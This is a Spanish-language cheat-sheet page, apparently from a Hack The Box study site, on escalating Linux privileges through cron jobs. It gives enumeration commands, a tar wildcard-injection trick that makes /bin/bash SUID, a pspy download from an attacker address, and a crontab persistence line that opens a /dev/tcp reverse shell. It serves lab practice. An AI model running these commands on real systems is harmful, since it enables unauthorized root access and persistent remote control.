Cron
Subtécnica de T1053 Tarea o trabajo programado ↗
Aprovechar tareas cron que ejecuta root con scripts o rutas que puedes modificar.
Cómo aparece en Hack The Box
Si no ves nada en /etc/crontab, lanza pspy y espera un par de minutos: muchas tareas de root solo se ven al ejecutarse. Busca scripts escribibles y comodines (tar *).
Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):
Máquinas para practicarla
Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.
Guías
- Escalada en Linux: tareas cron, PATH hijacking, wildcards y grupos docker o lxd 4 min de lectura Cuando sudo y SUID no dan nada: tareas cron con pspy, PATH hijacking, comodines en tar y rsync, y root desde los grupos docker, lxd, disk o adm.
Comandos
Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.
Tus datos
Se guardan en este navegador y se aplican a todas las chuletas.
Escalada de privilegios en Linux › Comprobaciones
Cron del sistema
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily 2>/dev/null
Temporizadores de systemd
systemctl list-timers --all
Ver procesos que se lanzan solos (pspy)
wget http://10.10.14.5/pspy64 -O /tmp/pspy64 && chmod +x /tmp/pspy64 && /tmp/pspy64
Sin pspy (bash)
old=$(ps -eo cmd); while true; do new=$(ps -eo cmd); diff <(echo "$old") <(echo "$new") | grep '^[<>]'; old=$new; sleep 1; done
Escalada de privilegios en Linux › Explotación
tar con comodín en un cron de root
echo 'chmod u+s /bin/bash' > x.sh
touch -- '--checkpoint=1' '--checkpoint-action=exec=sh x.sh'
C2 y post-explotación › Persistencia
cron
Víctima
(crontab -l 2>/dev/null; echo "* * * * * bash -i >& /dev/tcp/10.10.14.5/443 0>&1") | crontab -
pspy › Uso
Procesos y eventos de ficheros, cada segundo
Víctima
chmod +x pspy64 && ./pspy64 -pf -i 1000
En sistemas de 32 bits
Víctima
./pspy32
Ningún comando coincide.